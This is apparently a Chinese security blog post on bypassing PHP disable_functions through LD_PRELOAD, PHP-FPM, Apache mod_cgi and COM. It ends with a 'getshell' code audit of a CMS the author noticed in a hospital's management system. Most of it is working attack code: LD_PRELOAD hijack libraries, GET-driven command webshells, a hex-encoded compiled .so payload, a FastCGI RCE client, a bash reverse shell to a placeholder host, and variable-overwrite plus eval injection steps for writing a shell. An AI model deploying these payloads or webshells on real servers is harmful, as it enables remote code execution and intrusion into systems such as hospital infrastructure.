浅析四种Bypass disable_fuctions

前言

emm想记一下有哪些绕过方法,不然每次都得上网查很麻烦。。。

最近很火的LD_PRELOAD

LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。相关文章都被写烂了呜呜呜。

LD_PRELOAD

LD_PRELOAD 可以程序运行前优先加载动态链接库,那我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过指定 LD_PRELOAD 让程序优先加载这个恶意动态链接库,最后当程序再次运行便会加载动态链接库中的恶意函数。

基于这个思路,LD_PRELOAD 可实现突破disadble_fuctions,可以分为两个部分。

一个是利用劫持getuid函数,另外一个是劫持新进程。

利用mail()启动新进程来劫持系统函数

虽然LD_PRELOAD虽然能劫持系统函数但是我们得控制PHP启动外部程序。所以我们要寻找内部可以启动新进程的PHP函数,比如处理图片、发送邮件等场景中可能存在这种函数,比如mail()

mail.php

<?php
mail('','','','');
?>

查看sendmail使用了哪些函数

readelf -s /usr/sbin/sendmail

image.png

这里使用getuid,编写so文件test.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("echo 'wdnmd' >/mnt/d/phpstudy_pro/WWW/wdnmd.txt");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

编译一下

 gcc -shared -fPIC test.c -o test.so

接着PHP使用

<?php
putenv("LD_PRELOAD=./test.so");
mail('','','','');
?>

image.png

利用error_log触发

原理相同,劫持getuid
error_log.php

<?php
putenv("LD_PRELOAD=./test2.so");
error_log("", 1, "", "");
?
__attribute__劫持动态链接库

关于这个,github有一个项目disable_fuctions_via_LD_PRELOAD

在真实环境中,上面两种方法存在两问题:一是某些环境中web 禁止启用 senmail,甚至系统上根本未安装 sendmail,也就根本不能劫持 getuid(),而且 www-data 更改不了 php.ini ;二,即便目标可以启用 sendmail,由于未将主机名添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回。

搜索之后发现,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为

举个例子,我们可以去尝试直接劫持系统命令whoami

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("whoami");
}
┌──(root㉿DESKTOP-F3OA7VG)-[/mnt/d/phpstudy_pro/www]
└─# gcc -shared -fPIC getuid.c -o whoami.so
┌──(root㉿DESKTOP-F3OA7VG)-[/mnt/d/phpstudy_pro/www]
└─# export LD_PRELOAD=./whoami.so

image.png

基于这个原理,bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);    // 通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    // error_log("", 1, "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

本项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。

bypass_disablefunc.phpbypass_disablefunc_x64.so上传到var/www/html目录,权限不够的话可以上传到其他目录再include包含目标文件即可。

payload

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

当然除了文件上传也可以用别的思路,直接利用php执行

file_put_contents('/tmp/1.so',pack('H*','7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000028140000000000000000000040003800060040001c001900010000000500000000000000000000000000000000000000000000000000000004090000000000000409000000000000000020000000000001000000060000000809000000000000080920000000000008092000000000005802000000000000600200000000000000002000000000000200000006000000280900000000000028092000000000002809200000000000c001000000000000c0010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000008408000000000000840800000000000084080000000000001c000000000000001c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000040000001400000003000000474e550066bb9e247f3731670b5cdfd534ac53233e576aef00000000030000000d000000010000000600000088c22001001440090d0000000f000000110000004245d5ecbbe3927cd871581cb98df10eead3ef0e6d1287c2000000000000000000000000000000000000000000000000000000000000000003000900380600000000000000000000000000007d00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000008b00000012000000000000000000000000000000000000009d00000021000000000000000000000000000000000000000100000020000000000000000000000000000000000000009e00000011000000000000000000000000000000000000006100000020000000000000000000000000000000000000009c0000001100000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000840000001200000000000000000000000000000000000000a600000010001600600b2000000000000000000000000000b900000010001700680b2000000000000000000000000000ad00000010001700600b20000000000000000000000000001000000012000900380600000000000000000000000000001600000012000c00600800000000000000000000000000007500000012000b00c0070000000000009d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200000002000200000002000000020000000200020001000100010001000100010001000100920000001000000000000000751a690900000200be00000000000000080920000000000008000000000000009007000000000000180920000000000008000000000000005007000000000000580b2000000000000800000000000000580b200000000000100920000000000001000000120000000000000000000000e80a20000000000006000000030000000000000000000000f00a20000000000006000000060000000000000000000000f80a20000000000006000000070000000000000000000000000b20000000000006000000080000000000000000000000080b200000000000060000000a0000000000000000000000100b200000000000060000000b0000000000000000000000300b20000000000007000000020000000000000000000000380b20000000000007000000040000000000000000000000400b20000000000007000000060000000000000000000000480b200000000000070000000b0000000000000000000000500b200000000000070000000c00000000000000000000004883ec08488b05ad0420004885c07405e8430000004883c408c30000000000000000000000000000ff35ba042000ff25bc0420000f1f4000ff25ba0420006800000000e9e0ffffffff25b20420006801000000e9d0ffffffff25aa0420006802000000e9c0ffffffff25a20420006803000000e9b0ffffffff259a0420006804000000e9a0ffffff488d3d99042000488d0599042000554829f84889e54883f80e7615488b05060420004885c074095dffe0660f1f4400005dc366666666662e0f1f840000000000488d3d59042000488d3552042000554829fe4889e548c1fe034889f048c1e83f4801c648d1fe7418488b05d90320004885c0740c5dffe0660f1f8400000000005dc366666666662e0f1f840000000000803d0904200000752748833daf03200000554889e5740c488b3dea032000e82dffffffe848ffffff5dc605e003200001f3c366666666662e0f1f840000000000488d3d8901200048833f00750be95effffff660f1f440000488b05510320004885c074e9554889e5ffd05de940ffffff554889e54883ec10488d3d9a000000e89cfeffff488945f0c745fc00000000eb4f488b0510032000488b008b55fc4863d248c1e2034801d0488b00488d35740000004889c7e8a6feffff4885c0741d488b05e2022000488b008b55fc4863d248c1e2034801d0488b00c600008345fc01488b05c1022000488b008b55fc4863d248c1e2034801d0488b004885c07592488b45f04889c7e825feffffc9c30000004883ec084883c408c34556494c5f434d444c494e45004c445f5052454c4f414400000000011b033b1800000002000000dcfdffff340000003cffffff5c0000001400000000000000017a5200017810011b0c070890010000240000001c000000a0fdffff60000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000d8feffff9d00000000410e108602430d0602980c0708000000000000000000009007000000000000000000000000000050070000000000000000000000000000010000000000000092000000000000000c0000000000000038060000000000000d000000000000006008000000000000190000000000000008092000000000001b0000000000000010000000000000001a0000000000000018092000000000001c000000000000000800000000000000f5feff6f00000000b8010000000000000500000000000000c0030000000000000600000000000000f8010000000000000a00000000000000ca000000000000000b0000000000000018000000000000000300000000000000180b20000000000002000000000000007800000000000000140000000000000007000000000000001700000000000000c0050000000000000700000000000000d0040000000000000800000000000000f00000000000000009000000000000001800000000000000feffff6f00000000b004000000000000ffffff6f000000000100000000000000f0ffff6f000000008a04000000000000f9ffff6f0000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280920000000000000000000000000000000000000000000760600000000000086060000000000009606000000000000a606000000000000b606000000000000580b2000000000004743433a202844656269616e20342e392e322d31302b6465623875322920342e392e3200002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e740000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200b80100000000000000000000000000000000000003000300f80100000000000000000000000000000000000003000400c003000000000000000000000000000000000000030005008a0400000000000000000000000000000000000003000600b00400000000000000000000000000000000000003000700d00400000000000000000000000000000000000003000800c00500000000000000000000000000000000000003000900380600000000000000000000000000000000000003000a00600600000000000000000000000000000000000003000b00c00600000000000000000000000000000000000003000c00600800000000000000000000000000000000000003000d00690800000000000000000000000000000000000003000e00840800000000000000000000000000000000000003000f00a00800000000000000000000000000000000000003001000080920000000000000000000000000000000000003001100180920000000000000000000000000000000000003001200200920000000000000000000000000000000000003001300280920000000000000000000000000000000000003001400e80a20000000000000000000000000000000000003001500180b20000000000000000000000000000000000003001600580b20000000000000000000000000000000000003001700600b2000000000000000000000000000000000000300180000000000000000000000000000000000010000000400f1ff000000000000000000000000000000000c00000001001200200920000000000000000000000000001900000002000b00c00600000000000000000000000000002e00000002000b00000700000000000000000000000000004100000002000b00500700000000000000000000000000005700000001001700600b20000000000001000000000000006600000001001100180920000000000000000000000000008d00000002000b0090070000000000000000000000000000990000000100100008092000000000000000000000000000b80000000400f1ff00000000000000000000000000000000010000000400f1ff00000000000000000000000000000000cd00000001000f0000090000000000000000000000000000db0000000100120020092000000000000000000000000000000000000400f1ff00000000000000000000000000000000e700000001001600580b2000000000000000000000000000f40000000100130028092000000000000000000000000000fd00000001001600600b20000000000000000000000000000901000001001500180b20000000000000000000000000001f01000012000000000000000000000000000000000000003301000020000000000000000000000000000000000000004f01000010001600600b20000000000000000000000000005601000012000c00600800000000000000000000000000005c01000012000000000000000000000000000000000000007001000020000000000000000000000000000000000000007f01000011000000000000000000000000000000000000009401000010001700680b20000000000000000000000000009901000010001700600b2000000000000000000000000000a501000012000b00c0070000000000009d00000000000000ad0100002000000000000000000000000000000000000000c10100001100000000000000000000000000000000000000d80100002000000000000000000000000000000000000000f201000022000000000000000000000000000000000000000e02000012000900380600000000000000000000000000001402000012000000000000000000000000000000000000000063727473747566662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f636c6f6e65730072656769737465725f746d5f636c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e36363730005f5f646f5f676c6f62616c5f64746f72735f6175785f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f6672616d655f64756d6d795f696e69745f61727261795f656e747279006279706173735f64697361626c6566756e632e63005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f64736f5f68616e646c65005f44594e414d4943005f5f544d435f454e445f5f005f474c4f42414c5f4f46465345545f5441424c455f00676574656e764040474c4942435f322e322e35005f49544d5f64657265676973746572544d436c6f6e655461626c65005f6564617461005f66696e690073797374656d4040474c4942435f322e322e35005f5f676d6f6e5f73746172745f5f00656e7669726f6e4040474c4942435f322e322e35005f656e64005f5f6273735f7374617274007072656c6f6164005f4a765f5265676973746572436c6173736573005f5f656e7669726f6e4040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e6974007374727374724040474c4942435f322e322e3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000003c00000000000000030000000000000008000000000000000000000000000000380000000b0000000200000000000000f801000000000000f801000000000000c80100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c003000000000000c003000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f02000000000000008a040000000000008a04000000000000260000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b004000000000000b004000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d004000000000000d004000000000000f0000000000000000300000000000000080000000000000018000000000000006e000000040000004200000000000000c005000000000000c0050000000000007800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000380600000000000038060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000006006000000000000600600000000000060000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c0060000000000009d01000000000000000000000000000010000000000000000000000000000000840000000100000006000000000000006008000000000000600800000000000009000000000000000000000000000000040000000000000000000000000000008a00000001000000020000000000000069080000000000006908000000000000180000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000840800000000000084080000000000001c00000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000a008000000000000a0080000000000006400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000080920000000000008090000000000001000000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000180920000000000018090000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000200920000000000020090000000000000800000000000000000000000000000008000000000000000000000000000000c700000006000000030000000000000028092000000000002809000000000000c001000000000000040000000000000008000000000000001000000000000000d0000000010000000300000000000000e80a200000000000e80a0000000000003000000000000000000000000000000008000000000000000800000000000000d5000000010000000300000000000000180b200000000000180b0000000000004000000000000000000000000000000008000000000000000800000000000000de000000010000000300000000000000580b200000000000580b0000000000000800000000000000000000000000000008000000000000000000000000000000e4000000080000000300000000000000600b200000000000600b0000000000000800000000000000000000000000000001000000000000000000000000000000e90000000100000030000000000000000000000000000000600b0000000000002400000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000840b000000000000f200000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000780c00000000000088050000000000001b0000002b0000000800000000000000180000000000000009000000030000000000000000000000000000000000000000120000000000002802000000000000000000000000000001000000000000000000000000000000'));putenv("EVIL_CMDLINE=/readflag > /flag.txt");putenv("LD_PRELOAD=/var/www/html/1.so");error_log("",1);readfile('/flag.txt');

PHP-FPM

FastCGI 只是一个协议规范,需要每个语言具体去实现,PHP-FPM 就是 PHP 版本的 FastCGI 协议实现,有了它,就是实现 PHP 脚本与 Web 服务器(通常是 Nginx)之间的通信,同时它也是一个 PHP SAPI,从而构建起 PHP 解释器与 Web 服务器之间的桥梁。

FastCGI 则会先 fork 一个 master 进程,解析配置文件,初始化执行环境,然后再 fork 多个 worker 进程(与 Nginx 有点像),当 HTTP 请求过来时,master 进程将其会传递给一个 worker 进程,然后立即可以接受下一个请求,这样就避免了重复的初始化操作,效率自然也就提高了。而且当 worker 进程不够用时,master 进程还可以根据配置预先启动几个 worker 进程等着;当空闲 worker 进程太多时,也会关掉一些,这样不仅提高了性能,还节约了系统资源。

贴一份POC

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr> 
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can not multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php

/************ config ************/

// your extension directory path
$ext_dir_path = '/tmp/';

// your extension name
$ext_name = 'ant.so';

// unix socket path or tcp host
$connect_path = '127.0.0.1';

// tcp connection port (unix socket: -1)
$port = "9000";

// Don't use this exploit file itself
$filepath = '/var/www/html/index.php';

// your php payload location
$prepend_file_path = '/tmp/1.txt';

/********************************/

$req = '/' . basename($filepath);
$uri = $req;
$client = new FCGIClient($connect_path, $port);

// disable open_basedir and open allow_url_include
$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = " . $prepend_file_path;
$php_admin_value = "extension_dir=" . $ext_dir_path . "nextension=" . $ext_name;

$params = array(     
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'GET',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        'PHP_VALUE'         => $php_value,
         'PHP_ADMIN_VALUE'   => $php_admin_value,
        'SERVER_SOFTWARE'   => 'kaibro-fastcgi-rce',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        );

// print_r($_REQUEST);
// print_r($params);

echo "Call: $urinn";
echo $client->request($params, NULL);
?>

当然想利用PHP-FPM实现RCE的话,也可以不走这条路,比如也可以想办法写入恶意so文件到Nginx缓存,也或者是Apache环境下利用PHP崩溃永久保留临时文件。AndyNoel's Blog

Apache Mod CGI

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为cgi脚本对待并由服务器运行,它的输出将被返回给客户端。

如果可以临时允许一个目录可以执行cgi程序并且使服务器将自定义的后缀解析为cgi程序,就可以在目的目录下使用.htaccess文件进行配置。

利用条件:

  • 权限
  • Apache 使用apache_mod.php且启用mod_cgi

.htaccess

<Directory /var/www/html/>
Options +ExecCGI #允许cgi程序执行
AddHandler cgi-script .test #.test被作为cgi脚本
</Directory>

test.test

#!/bin/bash
echo&bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'

COM组件

COM组件是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。这个Bypass相对而言利用条件比较苛刻

  • 服务器必须是Windows
  • PHP version > 5.4
  • php.inicom.allow_dcom = true&extension=php_com_dotnet.dll
  • php/ext/目录下存在php_com_dotnet.dll文件
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

image.png

实战:某医院管理系统Getshell

前言

其实这周打算开始学Blockchain智能合约的,但是网络不行。。。先鸽一下。

起因是之前在等核酸结果,就顺便看了一下医院的管理系统,发现是某博,但好像并不是普通版本。下载下来审计一下。

安装

其实这一步没啥说的,但是很有可能会遇到因浏览器、编辑器编码格式不同造成的乱码,记得修改一下,不过有可能自己写的代码会报错。。。

代码审计

变量覆盖+Getshell组合拳

是一个老洞了,这张图一年之前我见过

image.png

我们直接去看fujsarticle.php

image.png

跟进global.php

require_once(dirname(__FILE__)."/"."../inc/common.inc.php");    //核心文件

引用了/inc/common.inc.php,继续跟进,在其中就能找到一段有问题的代码,

<?php
...
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
...
foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。

具体情况我们可以编写一段代码测试一下:

<?php
error_reporting(0);
$id=111111;
echo $id;
echo "</br>";

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
$id;
echo $id;
?>

请求?id=test 会将$id的值覆盖

image.png

简单来说id在一开始被初始化,后来经过foreach进行遍历,变量就会被覆盖。同理,当我们构造FileName时,遍历后没有再次初始化,导致变量覆盖。然后FileName进行传递

<?php
...
$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type=='like'){
    $FileName.=floor($id/3000)."/";
}else{
    unset($id);
}
...
if(!is_dir(dirname($FileName))){
    makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
    write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
}

image.png

image.png

<?php 
$show=stripslashes('<div class=\\\'side_t\\\' style=\\\'height:24px;background:url(http://localhost/qibo_v7/images/default/ico_block.gif) no-repeat 0px 3px;padding-left:15px;\\\'><A target=\\\'_blank\\\' HREF=\\\'http://localhost/qibo_v7/bencandy.php?fid=14&id=542\\\' title=\\\'</div>'); ?>

在当前目录生成了hint.php,并生成了特定内容。

同理,我们可以覆盖指定文件导致数据库配置错误/data/mysql_config.php

这只是第一步,接下来准备想办法写入shell。

跟进jf.php

<?php
require(dirname(__FILE__)."/"."global.php");

$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);

$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
    $fnameDB[$rs[fid]]=$rs[name];
    $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
    while($rs2 = $db->fetch_array($query2)){
        eval("\$rs2[title]=\"$rs2[title]\";");
        eval("\$rs2[content]=\"$rs2[content]\";");
        $jfDB[$rs[fid]][]=$rs2;
    }
}

require(ROOT_PATH."inc/head.php");
require(html("jf"));
require(ROOT_PATH."inc/foot.php");

?>

会查询qb_jfaboutqb_jfsort两个表内的数据,并且结合后面的eval语句,我们可以在表内插入恶意语句

<?php
$string1 = "sp4c1ous";
$string2 = "BigPowercat";
$str = '$string1 & $string2 are gay';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?> 

image.png

注意这个地方,字符串输出在双引号之内,会将其看成为普通的字符串,但是输出在双引号之外的就会当成代码来执行。

那么有人问了,这两个人是谁呢?他俩是不在乎世俗偏见的一对,这就是爱情啊。

